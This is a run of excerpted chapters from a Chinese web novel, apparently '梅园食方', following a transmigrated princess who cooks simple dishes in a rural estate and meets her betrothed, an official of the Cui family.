袁志才将阿草安抚住，也还没弄明白谁在监视萧家，不大放心让郡主出去。 “郡主……” 出门前，他还是将实话告诉了郡主。 萧鸣笙也有些诧异，随后便是笑笑，“无碍的，真要是个歹人，让他先现身来，正好也看看，还有谁护着咱家，总不能真就你一人吧？” 主子说得轻松，神态亦潇洒，颇有从前几分恣意。然而，袁志不大敢赌，悬着心，异常警惕陪着出门。 * 梅花坞，一边是背山，一边是临水，水深那处有渡口，再远些靠近山脚的地方，除了有良田，也有河滩。 有着水源的滋养，芦苇的衰败似乎更慢些，青黄相间。 “蜡烛，郡主你看，蜡烛……我们折一些回去，卢妈妈看到定会高兴的。”说罢，阿草像是归鸟入林一般，动作熟练去折。 阿草说的蜡烛，是菖蒲的果穗。有一根绿色的茎串着，高高竖立在叶子中间，沾了油，能像蜡烛一样燃着，也叫水蜡烛。 然而，千年后的萧鸣笙，看这一根根黄褐色的棒状物，能联想到的，不是蜡烛，是烤肠。 天稍稍冷时，谁能拒绝学校门口的一根烤肠呢？虽说天热时同样拒绝不了。 故而，阿草一心折着可做照明之用的水蜡烛，她不住吞咽着口水，这几日饱腹的肚子，也跟着馋了一下。 也不知头一个烤肠的祖先是看到了何物。菖蒲果束，大抵是秋神的小零食吧。 萧鸣笙的馋劲过大，就连阿草也察觉，有些莫名看着手中的水蜡烛，歪着头想了想，“郡主，你……喜欢……” “是啊——” “吃蜡烛啊？” “……” 萧鸣笙颇是无奈，抚摸了果束外面那层黄色粉末。“这是蒲黄……” “我知道我知道……我手受了伤，大哥就是用它给我止血的。” “……” 萧鸣笙咽下了那句：你看它，像不像一层撒上去的香料粉末？ 启迪法失效，萧鸣笙哑然失笑，开门见山说道：“它这样串在一根棍子上，倒是让我想起了烤肠。” “啊？”说到吃的，阿草当即便吞了口水，又将手上那只水蜡烛从中间掰了掰，“我原先也是看它像烤肠的，和卢妈妈一说，谁知她怕我忍不住真吃了，还当着我面拆了，里头蹦出好多棉来，呛得我咳了好久。我再看它，怎么也不像是肉肠了。” 随着阿草的遗憾落幕，这只原该是在夜里点亮的水蜡烛，被开膛破肚，变成了一只巨大的蒲公英。 阿草一口气将之吹了起来，伴随日头的光亮，棉絮飘飘扬扬，当真是和肉肠一点都不相像，有点像落雪。可雪是往地下掉的，这也不像。 她不通诗书，自然不知历史上有一位才女，以一句“未若柳絮因风起”，便流芳百世。 萧鸣笙自然是想到了，她见过落雪，也见过风絮，若为相似，还是撒盐空中差可拟更胜一筹。 看着风絮随风远去，视野也渐渐模糊。浮现了往日情景：风滚着过了草地。妇人们在说说笑笑，手里灌着血肠。 再一闪，便是夜里，晴空朗月，肉肠被取下，串在红柳签子上，架 12.玉茄果脯 《梅园食方》全本免费阅读 萧鸣笙站的位置，也不太远，约莫是三四丈，借着几丛芦苇的遮掩，恍惚如诗经里说的，蒹葭苍苍，白露为霜，所谓伊人，在水一方。 原该是在水一方的佳人，正稳着心神，勉强扒拉着翻飞的发丝。 穿越之后，一直面对的都是阿草他们这些下人，自己神色抑或是行事略有不妥，也没人明目张胆打量、质疑。 但是，这位——似乎就是原身的未婚夫婿，不能是上门来退亲的吧！ 阿草生怕她没听见，又走过去再说了一遍，“郡主，这位是崔家六郎。” “……” 她刚刚有听到。只是，谁向她解释一下“崔家六郎”？ 萧鸣笙顾忌着礼仪，到底也没转过身，略略清了清嗓子——可惜，不清倒也罢，一动嗓子，四处纷飞的芦花细绒像是钻到了嗓子眼，刺挠得厉害。 她急得眼眶发红，眼泪都要留下来，赶忙是捂着心口，无声咳了咳。 “郡主，崔家六郎……”阿草又歪着头提醒了一句。 “……”她晓得。葱玉般的十指捏着蒲棒的茎，什么也没说出来。 崔明端越礼瞧了一眼，只觉伊人身形如蒲柳一般娇弱，在河滩的晚风里摇摇欲坠。 他下马先是行了一礼，克尽臣子本分，“臣——崔明端，路过此地，特来拜见。” “……” 萧鸣笙更是急了。特来拜见——特来解除婚约？ 这婚约解除倒也罢，只是依着萧家目前的处境，再解除婚约，这日子是不是就更加难过了？ 好歹也等她将诸事摸个清楚明白！ 崔明端等了半晌，没等来动静，也己起身。他与她的关系，自然不是严苛的臣下。 而萧鸣笙这边，那几丝恼人的丝绒，终是被口涎带着咽了下去。 “咳……”萧鸣笙胡乱应了一身，后背热热麻麻的，出了一身的汗。 罢了罢了，若是他先提的，那自己倒还有争取的余地。补偿的银钱铺子，她会一一笑纳；最最要紧的，再同他要几个会看账会打理家事的人。 她的算盘打得响亮，崔明端亦是负手站着，没再开口。 二人不近不远站着，夕阳已慢慢落在山顶，晚风袭来，带着芦苇的清香，似乎也掺了些旁的。 借着衣袖的遮掩，崔明端舒展着拳头，久病之人出门这样久，风也凉了，也不晓得回去。 他默默叹息，抵在身后的手在袖中默默收拳，终是甩了袖子，拱手道：“不知是否方便讨口水喝？” “嗯？” 萧鸣笙余光紧紧抓住他躬身的动作，脑子和眼珠子动得一样厉害：要喝水，且去河边。 香蒲本就是长在河滩边，他骑着马来，随意赶赶就到了。 但是，矜贵的崔家六郎，不喝河里的水，自然也不是来讨水喝的。 萧鸣笙慢慢走出河滩，照着这具身体的虚弱程度，在这样紧绷的情况下，不一定走到山腰的院子。前一回有阿草在，背着倒也没什么，要是在外人面前落了面子…… “大人才回京，必是诸事缠身，”萧鸣笙轻咳，攥着帕子稍稍缓了口气，“百忙中来此，或是有要事，不妨直说。” “郡主说的是，臣来此，确是有一桩事——”究竟是何事，崔明端到底没说出口。难不成是要他说：来此，是为了查一查府中刁奴是否做出欺上瞒下的事来？家丑，何必外扬？他家治下不严，转而来问她，算什么事？ 只是，他的话含了素日办公的语气，萧鸣笙与他是头一回见——因着礼仪，她连面也没见着，但听出其中威严，便如实道：“这几年，我一直病着，家里的庶务是交由嬷嬷来做。也不知……大人，是要问哪一桩的事？” 放眼望去，满目萧瑟之状。芦苇渐渐败在秋风的威压之下。 崔明端同被凉风吹着，思绪渐渐清明。自己来此，是为何？为着查验府里人是否做出欺上瞒下的事？ “臣思虑不周，冒昧前来，请郡主恕罪。” “……大人客气了，请起。” 萧鸣笙缓了缓心绪，瞧着他躬身请罪的姿势，仿若是暴雪压顶的青松。这棵松柏，当真是好怪。 “打扰郡主雅兴，这便告辞。” 说罢，崔明端当真翻身上马，没等萧鸣笙反应过来，人已经是策马远去。 哒哒马蹄声，与山野的鸟鸣仿佛一唱一和。 萧鸣笙用手帕扇了扇风，几下过后，才惊觉不妥，所幸阿草是聚精会神看着前方。 她松了一口气，也目送着主仆二人的身影，无端叹了一句：“这几年，我病着，无力打理琐事，不会是家里受用了他家什么好东西，眼下是来秋后算账的吧？” “不可能。”阿草却是立刻反驳，“大人家每年送的，都不是吃的，也就是前天的鱼虾能吃。还能是什么好东西？我不懂，嬷嬷却说那些好得很，可不顶饥不顶暖的，不说是没送些吃的来，就是匹布料也没有。” 日子难过，阿草的期盼务实得紧。萧鸣笙也暗暗觉察出不妥来。 原本还指着这位大人日后能帮着查查封赏的猫腻，不想自家后院起火而不自知，但愿这火不要烧到自己身上来。 二人的初见，带着些公事公办的流程，崔明端隐约瞧见了她的模样——似乎和印象中的人不大相像了。然而，当年也只是在宫宴遥遥见过一面，要说哪一处不像，也说不上来。 他去梅花坞的事，不是秘密。 不等府里的人来问，在和荀二郎出行时，便拿出来说了说。 “你早早中举，为官多年，如今……且让愚兄想想……贤弟今年二十又三了吧，换做旁人，早该妻妾成群，儿女双全。” 话到此处，荀二郎特意顿了顿，也将手里的扇子收了起来，搭着他肩膀，压了声道：“咳咳……崔兄，可是要择期成婚了？” 崔明端不想自己前脚来进了城门，后脚便被人这样打趣着，何况，还是一个不大理事的郎君。 荀二郎出身颍阴荀家，也是豪门望族，不走科举一途，直接靠父辈的荫庇入仕 13.金不换花甲 《梅园食方》全本免费阅读 崔明端没应是，阿藤看了半晌，瞧那人还杵着不动，赶忙是拉了他往一旁，“大人已知晓，只是在思忖公务，你且先回府，大人得空便回。” 那人对着阿藤就是一通感谢，又小跑回了崔家。 崔明端沿着街市，漫无目的走了又走。一向知晓他为人的大人，以为是陛下派了什么密旨给他，怎么忽然巡视起京城的街道来了？ 他亦是路过了荀家二郎说的那家铺子，不大的店面，四四方方的一处，一左一右各排了条极长的队，有大人亦有孩童，个个探头探脑，口中不住念着：“今天人怎么这样多？不会卖完了吧？” “他家哪日人不多？” “我还想着晚些时候来，大家都回去预备夕食了，不想是一样的心思？” …… 那家掌柜，也是个有眼力见的，远远便瞧见了崔明端，即刻抓了包东西，忙不迭过来，“大人，可是小店有什么做的不好的？小本生意，还请大人指点一二……” 崔明端瞧着乌泱泱的人群，他们身后是散发着甜香的玉茄果脯，收敛迷茫之色，只秉公道：“我不过是个外派的地方官，便是要管，也管不到京师，你们安分做生意就是。” “是是是……大人说的是……” 那掌柜的听劝，要安分做生意，于是连手上那份东西也不送了，这是贿赂。崔大人是清官，定是要恼的。 崔明端本也是随意看看，忽而又想起那酸甜适中的玉茄果脯，离去前，脚步亦是顿了顿。 这可苦了寸步不离的人，阿藤跟着走走停停，也不明白大人今日是怎么了。 * 崔家六郎，是个拼命三郎。 萧鸣笙在家，一边看卢妈妈撸着芦花，一边听她说起崔家的事。 其实也没多少事，就方才那么一句话。 她昂首等了好久——然后呢？ 没然后。 卢妈妈本就不是夫人身边伶俐的大丫头，连伙食也做得一般，这样的话，还是听往来送东西的崔家仆说起的。 “我们郎君——十七岁就中了探花，去翰林院都到宵禁才回，一日到头，忙得很。可是大人孝顺，回了府便向夫人请安，再晚也去……不然我们这些做下人的，哪里能知郎君的辛苦？” 萧鸣笙歪着头，忍着笑听阿草绘声绘色将崔家仆的话说了一遍。 “崔大人确实——辛苦。” 世家子再出类拔萃，也是个勤勤恳恳的打工人，萧鸣笙也只挤出和崔家仆一样的词，转头去看卢妈妈，只见她不声不响拆解着蒲棒，动作熟练到有些不可思议，往年也是这样去薅着芦花御寒的？ 唉，旁人家的事，她是没多大兴趣知道。还不如仔细想想家里往后的日子。 阿草是直视过崔明端的人，只说大人甚是威严，有将军的一点样子。 这样没大没小的话，萧鸣笙赶忙是拦了。 他一个外男，能策马到梅花坞来问询某些事，这般欲言又止的模样，真叫人难以捉摸，是怕他母亲在她这儿多花了银子，还是旁的？ 萧鸣笙本是帮着撸那些个芦花，但卢妈妈怎敢让她动手，借口问起了池子里的花甲，请她去看看是否活着。 院子里，高挂的日头抵了瑟瑟秋风，花甲在木盆里默默吐着沙子，放了一夜，盆里的水，眼睛是看不到多少污垢，实际已经藏了不少。 “郡主，你是不是要想吃它了？” 阿草也不知几时来的，同她一起蘑菇蹲，嘻嘻笑着，“郡主脑袋里，是不是也有一个花甲的方子？” “……有。” 萧鸣笙多少是有些汗颜的。阿草缺了些神智，不能是大智若愚罢。 花甲，做起来也简单——家里也缺少东西，萧鸣笙就是有再多的心思，也得挑个最简单的。 木盆里的水，加了少许的盐，花甲吐出泥沙，捞出洗干净备用。 大火将锅烧热，放入切好的姜片和少许的辣椒，翻炒几下爆香，再花甲倒进去，加一点水，盖上锅盖，等着它开口就是了。 独属于海货的咸香味从盖子边缘溢出，阿草吞了吞口水，又站起来看了看，直至出锅的时候，她提醒了一句：“郡主，盐。忘了下盐。“ “它在海里长大的，再下盐就咸了。”出锅的关键，不是放盐，而是放入她在路边薅回来的好东西。 几枝绿油油的苗子，在岭南，名为金不换，多用于海鲜的烹饪。吃海鲜，永远可以相信沿海人民的智慧。 这一大丛绿油油的在路边，她想不注意都难。 她掐了些回来，洗干净，放进去一同翻炒，这道清炒花甲便能出锅了。 “你来尝一个？”萧鸣笙挑了一个放在盘子里，先找好了说辞，“我脑子里的方子是说不用放盐的，你试试咸淡。” 试菜，阿草是听的。她在西北长大，从未吃过海贝，像个小孩子一样拿着瞧了瞧。 * 午食，萧鸣笙还是一碗白粥和酱菜。今日多了一碟子花甲。 卢妈妈见状，是往炉灶看了又看，“这贝……” “花甲。” 阿草口中还留着花甲的鲜味，眼睛亮晶晶，“郡主说，这海贝，叫花甲。” 卢妈妈又是一叹，这贝叫什么都好，只是郡主怎么没拿去煮粥，一股脑炒出来……像是给众人吃的样子，他们怎好日日吃这些好东西？ 又是好一番推脱，众人才落座。萧鸣笙先吃了几口清粥垫垫肚子，夹了个花甲，稍稍一抿，就将贝肉吸了进去，滑嫩鲜甜，配着金不换的香气，是独特的岭南风味。 “你们也吃……我一人，总不能将它们全吃了吧？” 多番劝说下，大家才开始动筷，阿草吃得极欢，就连顽固的贝柱也要用另一半的壳剜下来吃掉。 要是那贝柱能说话，定是要嚎一声：“本是同根生，相煎何太急？” 吃完也不算，阿草又问道：“郡主，这壳，能给我玩一玩么？” 萧鸣笙还没应，卢妈妈先是说了一嘴，“阿草的年纪也大了，不能一味想着玩，这东西……” “嬷嬷也觉着稀罕是吧？如果不是大人，我们也买不到这样的好东西，也不知是不是贡品？” 今日阿草也不记挂添饭，就眼巴巴等着桌子上的花甲吃完。 这样新鲜的菜，袁志不伸筷，捧着碗，一个劲扒拉着饭。 卢妈妈得了郡主的示意，将那盘子挪到了袁志的面前，“你吃吧。” “可是……” 袁志很犹豫。往日，家里没别的东西了，就是有了，也不能是只顾着自己 14.炸菊花 《梅园食方》全本免费阅读 他的脚程快，回到山上，再将事情这么一说，卢妈妈先是叹了一声，“刚刚是我糊涂了，就该让阿草也跟着你一道过去。” 而阿草，还在水池边认真刷洗那些个贝壳。 萧鸣笙也是后悔不已，光想着分条鱼给她孩子吃了，却忘记了包子说的李家大娘强势，哪有留守的媳妇独吃一条鱼的道理？ 而今，婆媳争论起来了，双方都觉着自己占理，但莫须有的事，萧家比谁都清楚。 为此，萧鸣笙不得不过去掺和一脚，就当是弥补自己的过错，也全了原身那一点善心。 可惜，她去之时，已经是晚了。老三媳妇被赶出了家门，手里的鱼早没了，就抱着个饿着肚子的娃，脸上也多了几道痕，血淋淋的。 老三媳妇是投奔亲戚无门才嫁了人，现在被赶出了家门，更加不知往何处去，看到袁志回来，再看着他身后姑娘，霎时委屈得无声落泪。 萧鸣笙蒙着面巾，面容让人看不清，眸子里蓄着盈盈水光。 阿草明显是悲愤不已的，李家嫂嫂从前来送过腊肉，论起来，可要比大人家那些光看不能吃的物件好多了。 竟敢欺负送肉的嫂嫂，阿草抡了袖子就要和人干仗。 * 双方打起来的消息，送到城里也就一炷香的功夫后。 京兆府听了消息，负责巡视的衙役尚且能笑笑，而后摆摆手，“自家人说急了拌嘴罢了。祖宗都说了，清官难断家务事，就是报到大人那儿，也是断不了。” “是啊是啊，而且，他们也没报案，是吧？” “不报案，我们去了算什么呢？城中还有多少事要兄弟们忙的呢？” …… 但是，身边一个新来的，小声说道：“但线报说，崔家也得了消息……” 不提也罢，一说那些人更是大笑，为首的那人更是慈爱抚着他的肩头，示意他拿东西跟着去巡街。 新人更是不明白了。“听守城门的兄弟们说，中秋的时候，崔家还送了两百盆菊花出城去……” “嘘……再说下去，你这舌头，可就不是你的了。” …… 崔家的菊花，在城内仿佛是个不能说的秘密。 在梅花坞，同李大娘推搡几下，萧家人也回了。 阿草觉着方才没发挥好，缠着袁志讨教拳法过招。 萧鸣笙则是站在墙角，围着那十几盆菊花打转。 “这是要做什么？主子就是要活动身子，也别光在日头底下呀……” 卢妈妈不太清楚外头发生了什么，只是就着菊花解释道，“这些年……奴婢在西北，听过也看过定亲的人家；来了京城，也不大明白他们那些大家族做事的规矩……不过好在，崔家也重视……” 萧鸣笙看着沉浸在遐想里的卢妈妈，颇是无奈一笑，没去揭穿里头的门道。她穿来才几天，早早下定论，似乎也不妥。“嬷嬷说的正是，我不过是看着这些菊花开得好，光是这样让它们败了，也怪可惜的。想着挪几盆出来，摘了裹上面糊去炸，也别有一番滋味。” 赏花，阿草没兴趣。一听说要吃花，人立刻就蹦来了，“郡主，那你吃这盆雪团子吗？” 萧鸣笙知道阿草也就喜欢这几盆，“你要是舍得将它们折下来去油炸，倒也可以吃一两个。” 阿草显然是对吃的更为感兴趣，当即是点点头就要上手去，“郡主想吃，我就全部折下来……” “等……” 萧鸣笙拦了一手。其实，她倒不是特别想吃。只是心中郁郁，油炸菊花，可解。 于是乎，小院里的菊花，被挑了几盆出来，不说是卢妈妈不大舍得，就是袁志看着也有些心疼。 梅花坞在山野是不假，但这样开得好的菊花，是没有的。 萧鸣笙起了兴致，也思忖着油炸花儿的法子。 单是为着好看，直接将花拿去炸一炸，可这法子，吃了也只有一股腻腻的油味和苦气。费油，也费了开在枝头的鲜花。摆拍便罢了，她不需好看，还是调了面糊。 家里的面粉是有的，加了水，少许盐巴调味，要是有鸡蛋，可往里头打一两个鸡蛋，搅拌开来，便是鸡蛋面糊。 萧鸣笙下意识便要去拿一个蛋，落了空，手还在秋风里抓了抓。 卢妈妈就站在一旁，看郡主这般模样，还道是主子累了，“要不，让奴婢来吧？” “别……”阿草比谁都急。 “不用，这些小事，我做就是了。”萧鸣笙也对第一日那口烂面糊心有余悸。 “家里还有不少的胡椒，郡主是否要加一点胡椒粉进去？” 秋天凌霜开的花，大抵也是凉的。郡主不能吃螃蟹，能吃菊花么？卢妈妈忧心忡忡。 萧鸣笙不知她的心思，跟着颔首，“单用盐，只一个咸味。既然要添胡椒，不如做成椒盐吧。” 卢妈妈取来花椒，阿草生火，萧鸣笙将花椒下锅翻炒，百来个数，溢出阵阵香味。 “阿嚏……” 阿草每每都要探头去看看锅里的情况，吸了一大口胡椒味，赶忙是撇头去打喷嚏。 这才是开始，炒香的花椒盛出放凉，再捣成粉，椒盐才算完。 家里有一个小小的石臼，阿草一边打着喷嚏，一边用力将胡椒捣碎。 萧鸣笙看得辛苦，“要不我来吧？”她对胡椒，似乎没有阿草这样敏感。 “阿嚏……没事……郡主，你别看我……阿嚏……以前在西北，将军说我也能……阿嚏……” “好了好了……阿草歇歇，我来我来。” 卢妈妈就知阿草心直口快，赶忙是 15.调少尹 《梅园食方》全本免费阅读 袁志在院子里添置了一套木桌，自家的手艺，有些粗糙，不过面上是打磨光滑的，就为了给主子歇息用。 眼下，用来待客，也是极好的。坐主位的凳子，能赏群山万壑；其它位置，各看山岭的松柏，别有一番趣味。 而炸好的菊花，萧家众人客气了一番，也才各吃了一朵，余下满满一盘，尚且散着幽幽热气。还没来得及藏起来，送花的人已经杀上门了。辣手摧花的厨子未免有些心虚。 按着礼法，她是郡主，他是臣子，无需亲自待客，只远远朝他行了一礼，便退回了房內。 如此也让冒昧登门的人，宾至如归。阿藤将这儿当自家的府邸，先是循着味道过来，又去池子里打水过来给崔明端净手。 “这味道，可真香极了。府里的菊花也多，回头也让厨娘照着贵人的法子试试。” 崔明端也不客气。方才在院外，便看到了光秃秃的枝条。原不是枯萎修剪了，而是成了盘中餐。 秋风一过，他便想起了早起时，看到院中那棵木兰。 今日出门，急匆匆的，也没留心上头的叶尾是否挂着白露。 他是无福朝饮木兰坠露，这夕餐秋菊落英——就是午食，也附庸风雅一回。 向来是不重口腹之欲的人，心绪极佳，将碟子的炸菊花吃了一朵。 萧家众人在一旁眼巴巴的，阿藤眼力见好，旁若无人伺候着自家大人用膳，“大人，这一碟子酱料，想来是撒在上头的。” 崔明端也赏面，以指拈了，缓缓撒了下去。 原本金黄的面衣，沾着细碎的褐色香料，有些像是春耕时的种子。 时下已过了秋收之时，今年各处收成不错——这样想着，胃口更佳。 他饮食一向清淡，但配着椒盐吃，滋味倒也不差。 崔明端细品慢嚼，尽数吃了个干净。第一朵，是白口吃的。面糊是菊花的滋味最重；第二朵，用了椒盐佐味，也是相得益彰。 余下那朵，他有些犹豫，是要继续白口吃了，还是照旧撒了椒盐。或是，如果有得选，掺了别的味道，方是完美之计。 阿藤不像阿草那么眼馋，大人吃得尽兴那可真叫人开怀。天底下的事，哪有大人的兴致重要呢？ 午间的热气一过，秋风渐紧。萧鸣笙一人在屋内，留神听了许久，静悄悄的，人不像是走了的模样。 她提着衣裙，踮起脚尖，沿着廊下悄悄走过去。 那人的衣角垂在粗木边，衣料质感上佳，泛着淡淡光泽。纹样精巧，该让粗木汗颜了。 她不好过去，只能是眼巴巴看着人将花儿全吃了，末了再拱手告辞，留下一句：“今日冒昧，多有打扰，改日再登门致歉。” 一派端方君子之姿，翩然离开，这山野的尘埃，俗世的污糟，皆不沾染。 萧鸣笙远远瞧着，自是如赏画一般。 好个端方君子！今日是打扰，还是来敲打自己？ 还改日呢！ 辣手摧花的人心里挺虚的。 卢妈妈送了好几步远，过了院门，再往前就是下山的小径了，卢妈妈晓得不能离了郡主的身，只能是送到此处，郑重一拜，“多谢大人。” “不必客气。” 谢他什么呢？ 这一门亲事，是先帝指的。那时，他还在学堂，跟着夫子读了不少的书，自然也知道这是帝王的制衡之术，制衡西北大将，将他的爱女困在京城，可这何尝不是先帝对崔家的制衡？ 崔明端今日来，自然是听说了乡野刁民的胡闹。 好在家仆得力，才不至于出了什么乱子。 * 如他所料，下午应召入宫，陛下仿佛又是在不经意间问起，“爱卿久没回京，朕也许久没出宫了，不知这京城里，有什么新鲜事？” 崔明端如实道：“臣在街市走了几步，发现朱雀大街的店面，生意都好，连角落里的小店，也是满座。百姓安居乐业，自是陛下励精图治，上为之，下效之。” 此番话，自是让陛下龙颜大悦。 “爱卿不单是公务做的好，就连下值也留意着百姓的生计。朕想了想，你下放已有四年，比之寻常人八年十年的，强了不知数倍，正好此次回来，不如就留下吧。” “臣，不敢与诸位大臣相较，自当唯君命是从。” “正好，陵安府有三个空缺，少尹、推官和判官，都是从六品。” 没等崔明端再道一句“臣谨遵陛下旨意”，陛下已经愤然，拍着龙案，“为着要把你调回，那几个老臣还争执一番，朕倒要看看，只是一个从六品的官，御史还能说些什么……” 崔明端原先在翰林院，是正七品的编修，任期三年，考核过后，是该照着升为六品。 可崔家的几位族老联合朝臣，一道折子，就将他下放了。 天子大抵也不喜世家子的儿郎过于出色，升迁又这样快，只是稍稍挽留一番，又派了出去，好在眉州不是个苦地方。中庸之处，寻常人在任上，照着历任县官留下的旧制来，更难看出政绩。 但崔明端不是常人。他是天子伴读，就是地头蛇见了他，也收敛一二，何况是他有心要去除积弊。 四年，过的也容易，政绩到了，崔家，抑或是圣上要提拔，旁人也拦不住。 虽都是从六品，也是有差别的。崔明端自己要了个推官，陛下却没允，指着案头那一摞折子，“朕想了想，不好在品级上恩赏于你，也不能全拿你往旁处使，还是当个少尹吧，帮着府尹，也当朕的眼睛，看看这京城，是否还有什么污糟处。” 少尹，从前是协助府尹处理诸般事宜，今朝多少有些名存实亡。 他这个崔少尹，能做多少事，眼睛能看多远，实未可知。 * 崔明端坐马车出的宫，阿藤在外头问，是要直接回府么。 他在车厢里，握着一册未完的书简，眉结尚且没松开。 “去荀兄府上。” 阿藤勒着缰绳，又看了眼天色，正过饭时不久，不免咳嗽一声。 主仆间，自有默契。 今日似乎也是荀二郎休沐的日子。此时，人大抵是不在府里。但阿藤晓得人在何处。大人既说是要找人，那直接过去便是。 如阿藤所猜的一样，荀二郎正在温柔乡里。 醉香楼的小厮战战兢兢，连妈妈都有些挂不住笑——荀二郎来，自然是要找解语花小憩的，怎会得空？ 可，这一尊大佛该怎么办？ 就是最当红的娘子，也不敢来招揽这位公子。 妈妈也怕是惹恼了贵人，挥了手让人全退了，“荀家郎君……正和我们姑娘谈琴，崔大人……也坐坐？” “不必了。” 崔明端来此，也不单是为了荀二郎。换了旁人不坐，妈妈只怕能急出汗来，崔明端要走，她在心里念了一句佛：快些走罢。 她这生意，是本分的，创办的文书都是衙门批的，每年的税钱也是按时交。 16.摘柿子 《梅园食方》全本免费阅读 山野的暮气，比城里更盛，像是自上而下罩了块晕染不匀的布。越往远处，墨色更深。 梅花坞也在煮茶，氤氲水汽，也给浓重的夜幕添了添份量。 萧鸣笙吃了药，口中苦涩难言。也不知御医是怎么交代的，说是不宜用糖，反复漱口也解不了。满身的药气，来回走了几遍，也散不尽。 卢妈妈的清点工作已经完成了七七八八，其中更是搬出不少茶叶。 梅花坞不是西北，没有牛乳，每日的饭食本就没有多少油水，一年一年的，也剩了好些。 一个一个的纸包，上头还写着年份。萧鸣笙跟着看了看，也就这两年的保存尚好。往年的，像是受了潮。生怕卢妈妈自责，她也没点破，只拿了一包茶叶。不能喝，煮开了嗅一嗅茶香也好。 阿草学不会点茶那些繁琐的技法，但听郡主说，只需要将茶叶放在碗里头，热水一冲，再倒出茶汤就好。 “这简单……” 阿草说简单，三两下就泡出了三杯清茶来，只是滤出时带了不少的碎渣。 萧鸣笙微微探头闻了，茶叶的香气流于表面，终究不醇，禁不住细品。 她一早就察觉了这茶叶的端倪，也知不是什么好东西，拿去炒炒虾仁不心疼。 卢妈妈在西北吃的是奶茶，茶叶不管好坏，加到锅里，有奶和糖在，它就是出个茶味。 阿草也不懂其中的门道，只是跟着郡主一道嗅了嗅，还是往常贪玩的模样。 料理完琐事，卢妈妈过来，轻拍了她的后背，“记得伺候郡主早些歇息。” 睡前，萧鸣笙看着天上的月相，今夜是上弦月。今年闰九月，竟和她是同一个时间，第一个生日过完了，第二个生日，竟是在梅花坞过的。 * 为着庆贺萧鸣笙生辰，萧家人暗暗有着计较。 卢妈妈能做的，就是想将这几年的收支账目，一一帮着郡主理出来。 袁志只能是更用心守卫着萧家小院。 阿草的心思，就更简单了。九月，那是有许多好吃的东西。郡主不能吃蟹，但有大把的东西能吃。 比如，柿子。 火红的柿子，挂满了枝头。这儿是萧家的地盘，往日也没什么人过来，阿草年年就指着那几棵柿子甜嘴。 不过她不会另外加工，等柿子熟了就去摘，过了季节就等明年。 “卢妈妈倒是和山下的人学了个法子，把柿子的皮削了，放着晒……” 萧鸣笙才欣慰点点头，就听得阿草颇是苦恼说下去，“秋天原该是没有雨的。也不知是不是我们的运气坏，每次削了柿子来晒，总是要下一场雨，不大不小，又不消停，最后那柿子都坏了。算了算了，不如就让它们在枝头上自己熟了，我能吃几个，小鸟也能吃几个。” “那山下的人，没教你们别的法子吗？把柿子放在水里泡，便成水柿，这样就不用管刮风下雨了。” “啊？竟然还有这种法子，郡主，那我上次摘几个下来……” 说罢，人就撸了袖子要上去。 萧鸣笙是摘过柿子的，但是也没直接上树去，“你们……算了……“ 萧家若是有个摘柿子的钩子，她反而是要奇怪的。 袁志跟在一旁，也看出了郡主的担心，便提出由着他上树去。 他的身法比阿草要灵动许多，男子的衣物也方便些，不多时便到达其中一个高枝，上头的柿子更红些。 “袁志，你也不必专挑红的，水柿子用成熟的柿子就行，别压坏了。” 萧鸣笙在底下不放心叮嘱了两句，看人和灵猴一样穿梭在枝杈间，她让阿草盯着，自己回去找卢妈妈要一块布。 秋日的山路，仅有枯草，幸有白露点缀着。萧鸣笙也顾不得沾湿衣摆，一路走着回去，步伐轻快。 卢妈妈还在杂物间里，那些个东西，多而杂，这些年一直是她经手的，换了别人来理，反而是闹不明白。 “郡主要布？可是伤到了手？” 说罢，卢妈妈就放了手里的活，快步上前来。 “无事无事，我就是要拿布做一个网兜。”萧鸣笙自己也在架子上找了找，目之所及，都是收纳规整、大大小小的杂物。 卢妈妈的布，是放在箱子里头，很快就翻出了一块全新的棉布。 就是她舍得，萧鸣笙反而是不舍，“嬷嬷一向持家，我要的不过是一块能兜住柿子的布，不必全新的……” “郡主拿去便是……” 卢妈妈也讪讪笑着。家里的布，要么就是全新的，要么就是身上穿着的衣衫，外袍要见人，不好加了补丁。中间那件，是缀满了补丁。 她就是想俭省着，也不能撕了外衫。 萧鸣笙不知里头的弯绕，拿着便走了。 除了布，她还需要一根铁丝。但史书记载，宋代之前，铁是个极其重要的物资，一般用在兵器或是生产工具上。直到宋，百姓才会用铁锅烹煮食物。 她院子里寻寻觅觅，阿草也不知是几时回来的，高举着一节藤蔓，邀功似的，“郡主，你看，我这是什么？” 萧鸣笙也是大喜过望，对着阿草夸了几句。谁知，她更是得意了，“郡主，你别看我傻乎乎，其实我一点也不笨的。柿子在高枝，自然要用工具。我在西北，学过捕兔笼子，师傅说我的手，是又快又听话。” 萧鸣笙把剪好的布条，围成一个袖子的形状缝制起来。 阿草不解看着，“卢妈妈怎么不剪一个现成的袖筒？这布很新的。” 萧鸣笙也是在此时才恍然。 她便玩笑似的轻轻掀开了阿草小半截的袖口，“难不成是要拿你的衣衫剪么？”外衫是半旧不新的，但中衣袖口便打了几个补丁。 阿草紧紧捂着，眼睛瞪得圆圆的，“卢妈妈说，不能让别人看我的袖口。” “是，嬷嬷说得对，我给阿草赔礼，下回再也不敢了。” 萧鸣笙是郑重致歉，谁知阿草又露了笑，“不过郡主应该是可以的。” “那也是不可以的 17.报命案 《梅园食方》全本免费阅读 可惜，第一口，似乎是没想象中甜。 自然成熟的柿子，又没被鸟儿吃掉，甜度都差了些。 辛辛苦苦摘回，又期盼了这么久，虽然往年也是如此，但不咬一口，心怎么会死？ 不怎么甜，再回味一下，牙齿似乎沾着些涩。 二人分食完，余下的两个，用布包起来，放在木箱里，等明日再吃。接下来，才是重头戏。 要做水柿子，便得要一个木盆或者是木桶。这种琐事，找卢妈妈自然是有的。 库房的杂物多的是，她一下便从角落里拿了一个新的木盆来，萧鸣笙本也是要说不必要一个全新的，厨房里半旧的就成，但是，卢妈妈像是松鼠一样，总能在过冬的巢穴里寻摸出橡果来。 阿草已经照着郡主说的法子，将柿子的蒂去了，清洗干净，将柿子放在水中—— 这水，搁以前，是得用凉去的开水。但是，萧家的条件，只能放低了要求，装了一盆，放在日头底下晒，晒到日到中天，也算是“熟水”了。 这期间，还有削皮的事可做。 阿草就是不让她动手，可也架不住事情多。眼瞅着，也快到了午饭的时辰了。 比起处理果子，等下去处理鱼虾，更是血腥。 萧鸣笙得了一个矮凳，就坐在廊下的阴凉处，一个一个给柿子削着皮。 阿草也和她说着自己的烦恼，“郡主，你知晓如何将柿子做得没一层白白的东西吗？” “柿饼都是带着的，那一层是白霜，其实是糖，你不喜欢吃甜的？“ 